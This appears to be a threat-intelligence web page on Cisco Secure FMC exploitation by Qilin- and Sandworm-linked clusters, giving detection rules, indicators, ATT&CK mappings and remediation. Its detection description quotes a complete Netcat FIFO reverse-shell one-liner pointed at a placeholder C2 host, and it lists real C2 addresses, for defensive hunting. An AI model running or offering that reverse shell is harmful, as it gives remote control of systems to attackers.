Skip to navigation

Threat reportRansomwareTL-2026-5814

Cisco Secure FMC Exploitation (CVE-2026-20079, CVE-2026-20316) by Qilin Affiliate UAT-11988 and Sandworm-Linked UAT-11823, with ScreenConnect (CVE-2026-84869) and PaperCut (CVE-2026-81578/82078) Management-Layer Exploitation

criticalACTIVE

Cisco Talos reported three clusters exploiting two patched Cisco Secure Firewall Management Center flaws: CVE-2026-20079 (CVSS 10.0 authentication bypass) and CVE-2026-20316 (CVSS 5.3 static credentials). One cluster, UAT-11988, is assessed with high confidence as a Qilin affiliate and deployed Qilin ransomware after pivoting through the FMC. First disclosed .

Key facts

IdentifiersTL-2026-5814, CVE-2026-20079, CVE-2026-20316, CVE-2026-84869, CVE-2026-81578, CVE-2026-82078
Also known asCisco FMC ongoing exploitation, Management-layer vulnerabilities
SeverityCRITICAL
CVSS10
First disclosed
Exploitation statusLinked CVE exploited in the wild; Listed in CISA KEV: CVE-2026-20079 (added ), CVE-2026-20316 (added ), CVE-2026-84869 (added ), CVE-2026-81578 (added ), CVE-2026-82078 (added )
EPSSCVE-2026-20079: 88.1% (99.7th percentile); CVE-2026-81578: 85.5% (99.7th percentile); CVE-2026-82078: 63.5% (99.1th percentile)
Affected productsCisco Secure Firewall Management Center (FMC); Cisco Security Manager (CSM); ConnectWise ScreenConnect; PaperCut PaperCut NG / MF
Weaknesses (CWE)CWE-306, CWE-798, CWE-470
AttributionQilin (high confidence)
MalwareAgendaCrypt, Black Basta - S1070, Cyclops Blink
ToolsConnectWise - S0591, Impacket - S0357, Invoke-TheHash, ScreenConnect
MITRE ATT&CK techniquesT1021.002 Remote Services: SMB/Windows Admin Shares, T1037.004 Boot or Logon Initialization Scripts: RC Scripts, T1040 Network Sniffing, T1059.004 Unix Shell, T1074.001 Data Staged: Local Data Staging, T1078 Valid Accounts, T1087.002 Account Discovery: Domain Account, T1090 Proxy, T1190 Exploit Public-Facing Application, T1219 Remote Access Tools, T1505.003 Server Software Component: Web Shell, T1550.002 Use Alternate Authentication Material: Pass the Hash and 3 more in the attack flow
MotivationFINANCIAL
Target sectorsmanufacturing, education, government administration, enterprise it
Target regionsunited states of america, Global
Detection rules9 (1 shown free)
Sources13 cited sources

Detection coverage

As of 2026-11-12, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-5814 across Splunk SPL, Microsoft KQL and Sigma, covering 21 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Cisco FMC package_info.pl Root Execution of license.tmp and Netcat FIFO Reverse Shell (CVE-2026-20079 / CVE-2026-20316)

Detects the UAT-11823 (Sandworm-linked) post-exploitation chain on Cisco Secure Firewall Management Center (TL-2026-5814): the built-in /usr/local/sf/bin/package_info.pl utility executing the tampered Makeself package /var/tmp/license.tmp with --lsm (root code execution), the Netcat named-pipe reverse shell (rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc C2-IP 3090 >/tmp/f), and any command line referencing the Talos-reported C2 addresses 208.123.119.215, 89.34.96.56 and 91.214.78.118. Requires process-execution telemetry (auditd EXECVE or syslog command logging) from the FMC or other Linux management appliances.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1190, T1059.004
  • Data sources: linux_auditd, syslog, index=linux sourcetype=linux:audit
  • Severity: critical
  • Confidence: high

Splunk SPL

index=linux (sourcetype=linux:audit OR sourcetype=syslog) earliest=-24h
| regex _raw="(?i)(package_info\.pl.{0,200}license\.tmp|license\.tmp.{0,200}--lsm|mkfifo\s+/tmp/f.{0,200}\bnc\b|/bin/sh\s+-i.{0,40}\|\s*nc\s+\S+\s+\d+|208\.123\.119\.215|89\.34\.96\.56|91\.214\.78\.118)"
| eval behaviour=case(match(_raw,"(?i)package_info\.pl|license\.tmp"),"package_info.pl executing /var/tmp/license.tmp as root (CVE-2026-20079/20316)", match(_raw,"(?i)mkfifo|/bin/sh\s+-i"),"Netcat FIFO reverse shell (T1059.004)", true(),"Command referencing known UAT-11823 C2 address")
| stats count min(_time) as first_seen max(_time) as last_seen values(behaviour) as behaviour values(user) as user by host
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL

Syslog
| where TimeGenerated > ago(24h)
| where (SyslogMessage has "package_info.pl" and (SyslogMessage has "license.tmp" or SyslogMessage has "--lsm"))
    or (SyslogMessage has "mkfifo" and SyslogMessage has "/tmp/f" and (SyslogMessage has " nc " or SyslogMessage has "/bin/sh -i"))
    or SyslogMessage has_any ("208.123.119.215", "89.34.96.56", "91.214.78.118")
| extend Behaviour = case(
    SyslogMessage has "package_info.pl", "package_info.pl executing license.tmp as root (CVE-2026-20079/20316)",
    SyslogMessage has "mkfifo", "Netcat FIFO reverse shell",
    "Command referencing known UAT-11823 C2 address")
| project TimeGenerated, Computer, HostIP, ProcessName, Facility, SyslogMessage, Behaviour

Sigma

title: Cisco FMC package_info.pl Executing license.tmp or Netcat FIFO Reverse Shell
id: 3f2a6c1e-8b4d-4e57-9a10-5c7d2e9b1a01
status: experimental
description: Detects the UAT-11823 chain on Cisco Secure Firewall Management Center where package_info.pl runs the modified /var/tmp/license.tmp Makeself package as root, or a Netcat named-pipe reverse shell is launched (CVE-2026-20079, CVE-2026-20316).
references:
  - https://blog.talosintelligence.com/fmc-ongoing-exploitation/
  - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2
author: Threadlinqs Team
date: 2026-11-12
tags:
  - attack.initial-access
  - attack.t1190
  - attack.execution
  - attack.t1059.004
  - cve.2026-20079
  - cve.2026-20316
logsource:
  category: process_creation
  product: linux
detection:
  selection_package_info:
    CommandLine|contains|all:
      - 'package_info.pl'
      - 'license.tmp'
  selection_netcat_fifo:
    CommandLine|contains|all:
      - 'mkfifo /tmp/f'
      - '/bin/sh -i'
      - 'nc '
  selection_c2:
    CommandLine|contains:
      - '208.123.119.215'
      - '89.34.96.56'
      - '91.214.78.118'
  condition: 1 of selection_*
falsepositives:
  - Legitimate Cisco license or package maintenance run by an administrator with package_info.pl
  - Administrators using mkfifo and nc for ad-hoc troubleshooting
level: critical

Known false positives:

  • Legitimate Cisco package or license maintenance executed by an administrator via package_info.pl during a planned upgrade window
  • Administrators using mkfifo and nc for ad-hoc troubleshooting on the appliance shell

Tuning notes: Requires auditd EXECVE or command-line syslog from the FMC; adjust index and sourcetype to your environment. Exclude change-window service accounts, and review any package_info.pl invocation whose argument is not a Cisco-signed upgrade bundle. Any hit on the C2 addresses should be treated as confirmed compromise.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • Network Contact with Talos-Reported FMC Exploitation and C2 Infrastructure (UAT-11823 / UAT-11988) · unlock with TL Creds
  • JSP Web Shell [indicator] / [indicator] Dropped in Tomcat Webroot and Data Staged in Web-Accessible Files (UAT-12197) · unlock with TL Creds
  • Impacket smbexec/wmiexec and Invoke-TheHash Lateral Movement (UAT-11988 Pre-Ransomware) · unlock with TL Creds
  • ConnectWise ScreenConnect Client Service Spawning Shell or LOLBin (CVE-2026-84869 Abuse) · unlock with TL Creds
  • Security Tool Tampering Before Ransomware Deployment (EDR/AV Killer Behaviour, UAT-11988) · unlock with TL Creds
  • Cyclops Blink Variant Init-Script Persistence and Promiscuous-Mode Sniffing on Linux Firewalls (UAT-11823) · unlock with TL Creds
  • Cisco FMC OmniQuery.pl Credential Query and [indicator] Command Executor (UAT-12197) · unlock with TL Creds
  • Reverse SSH Tunnel to AD Ports and [indicator] Python SOCKS5 Proxy from FMC (UAT-11988) · unlock with TL Creds

Indicators of compromise

As of 2026-11-12, Threadlinqs Intelligence tracks 21 indicators of compromise for TL-2026-5814.

Sample indicators (3 of 21)

  • IP address: 89.34.96[.]56
  • File hash: b037f45e02a289325a1a5eb0d4db6a9fce9954fd0fdfd07162cb4eb2acbef77d
  • IP address: 208.123.119[.]215

Defanged, TLP:CLEAR. Full set of 21 indicators: unlock with TL Creds.

21 indicators of compromise · unlock with TL Creds. Compare plans

Technical analysis

Halcyon frames this with other actively exploited management-layer flaws (ConnectWise ScreenConnect, PaperCut NG/MF) as a ransomware-enabling trend.

Halcyon (24 Sep 2026) described five actively exploited flaws in one week that all sit in the management layer of enterprise systems: two Cisco Secure Firewall Management Center (FMC) flaws, a ConnectWise ScreenConnect flaw added to CISA KEV, and exploitation of widely deployed print-management software used in education. The Halcyon post gives no CVE IDs; they were resolved from Talos, Cisco, CISA KEV and press coverage.

Cisco Talos (blog dated 9 Sep 2026) reports three clusters abusing CVE-2026-20079 and CVE-2026-20316. CVE-2026-20079 (CVSS 10.0) is an unauthenticated authentication bypass in the FMC web interface: a boot-time process creates a partial authentication session in the sfsnort.sessions database that persists if no legitimate user authenticates after boot, which a remote attacker can turn into working credentials and then invoke CGI scripts to run commands as root. It was fixed and disclosed in early March 2026, and added to CISA KEV on 9 Sep 2026. CVE-2026-20316 (CVSS 5.3) is a hard-coded credential for a low-privileged account; it was disclosed and added to KEV on 29 Jul 2026, and can be chained with other FMC weaknesses for privilege escalation.

UAT-11988 (high confidence Qilin affiliate) logged in using the CVE-2026-20316 static credentials, abused built-in FMC tooling (for example package_info.pl and OmniQuery.pl) for reconnaissance, collected hostnames, IPs, Active Directory service-account credentials, MySQL credentials and domain information, staged data in web-accessible files retrieved via HTTP GET, established a Python SOCKS5 proxy (socks5.py) and a reverse SSH tunnel forwarding LDAP, LDAPS, Kerberos, SMB, NetBIOS and WinRM, moved laterally with Impacket and Invoke-TheHash, deployed custom EDR/AV killers and ran Qilin ransomware on selected systems. Halcyon notes Qilin posted the most leak-site victims in Q2 2026.

UAT-11823 (high confidence overlap with Sandworm) exploited both CVEs, modified /var/tmp/license.tmp (a Makeself package) so that Cisco's package_info.pl executed a Netcat reverse shell as root, harvested configuration of all managed firewalls, and deployed a Cyclops Blink variant with init-script persistence, credential theft and packet sniffing. UAT-12197 exploited CVE-2026-20079 to drop a JSP web shell (home.jsp) and cmd.jar into the Tomcat webroot of Cisco FMC/Security Manager and queried internal databases for stored credentials.

Other management-layer items cited: ConnectWise ScreenConnect CVE-2026-84869 (CVSS 9.9; file transfer/execution in an active session without host authorization; fixed in 26.6.5; KEV 11 Sep 2026) and PaperCut NG/MF CVE-2026-81578 (missing authentication) plus CVE-2026-82078 (unsafe reflection), chained for pre-auth RCE and added to KEV 31 Aug 2026. Halcyon attributes ScreenConnect abuse to Black Basta, Medusa and Scattered Spider and reports legitimate remote-management tools in 78% of ransomware cases in its Q1 2026 report. Note: Halcyon does not name PaperCut; the link to the unnamed education print-management software is a reasonable inference from KEV timing and the education footprint, not a statement by the source.

MITRE ATT&CK techniques by tactic:

Lateral Movement

T1021.002 Remote Services: SMB/Windows Admin Shares; T1550.002 Use Alternate Authentication Material: Pass the Hash

Persistence

T1037.004 Boot or Logon Initialization Scripts: RC Scripts; T1505.003 Server Software Component: Web Shell

Credential Access

T1040 Network Sniffing; T1552 Unsecured Credentials

Execution

T1059.004 Unix Shell

Collection

T1074.001 Data Staged: Local Data Staging

Initial Access

T1078 Valid Accounts; T1190 Exploit Public-Facing Application

Discovery

T1087.002 Account Discovery: Domain Account

Command and Control

T1090 Proxy; T1219 Remote Access Tools; T1572 Protocol Tunneling

defense-impairment

T1685 Disable or Modify Tools

Remediation

Patches

  • Cisco hotfixes per advisories cisco-sa-onprem-fmc-authbypass-5JPp45V2 and cisco-sa-fmc-static-cred-BET3Cjh
  • ConnectWise ScreenConnect 26.6.5 or later (CVE-2026-84869)
  • PaperCut NG/MF fixes per vendor bulletin of 27 Aug 2026

Immediate actions

  • Apply Cisco hotfixes for CVE-2026-20079 and CVE-2026-20316 on Secure FMC
  • Remove internet exposure of FMC management interfaces
  • Hunt for /var/tmp/license.tmp modifications, home.jsp, cmd.jar and socks5.py on FMC/CSM
  • Block and hunt for the Talos network IOCs
  • Rotate Active Directory service-account and MySQL credentials reachable from FMC

Workarounds

  • No workarounds for the two FMC CVEs; restrict FMC management interface from the internet
  • Snort signatures 66075-66080, 66883, 66960, 66961

Longer-term hardening

  • Install Cisco comprehensive hardening release when available
  • Restrict management-plane access to dedicated admin networks
  • Monitor for abuse of legitimate remote-management tools such as ScreenConnect
  • Deploy EDR with tamper protection against AV/EDR killers

Affected and fixed versions

  • Cisco — Secure Firewall Management Center (FMC)
    Vulnerable versions: Unpatched releases; versions not stated in sources
    Fixed in: Cisco hotfixes per advisories
  • Cisco — Security Manager (CSM)
    Vulnerable versions: Targeted by UAT-12197; versions not stated
  • ConnectWise — ScreenConnect
    Vulnerable versions: Versions before 26.6.5
    Fixed in: 26.6.5
  • PaperCut — PaperCut NG / MF
    Vulnerable versions: Versions not stated in sources
    Fixed in: Per vendor bulletin 2026-08-27

Timeline

  • Cisco fixes and discloses CVE-2026-20079 (FMC authentication bypass, CVSS 10.0); disclosure described as early March 2026.
  • Cisco discloses CVE-2026-20316 (FMC static credentials) with a fix; CISA adds it to KEV and Cisco confirms exploitation.
  • Cisco PSIRT and Talos identify in-the-wild abuse of CVE-2026-20079 during August to September 2026 (exact day not stated; month start used).
  • CISA adds PaperCut NG/MF CVE-2026-81578 and CVE-2026-82078 to KEV with a 14 Sep federal deadline.
  • Talos publishes analysis of three clusters (UAT-11988 Qilin, UAT-11823 Sandworm-linked, UAT-12197) exploiting FMC; CISA adds CVE-2026-20079 to KEV.
  • CISA adds ConnectWise ScreenConnect CVE-2026-84869 (CVSS 9.9) to KEV alongside GitLab and JFrog flaws.
  • Cisco advisory updated; comprehensive FMC hardening release expected that week.
  • Halcyon publishes analysis tying the management-layer flaws to ransomware operations, including Qilin.

Sources cited

More from Qilin

Other reports on CVE-2026-20079

Drafted by the Threadlinqs research pipeline from 13 sources; published ; last updated —.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats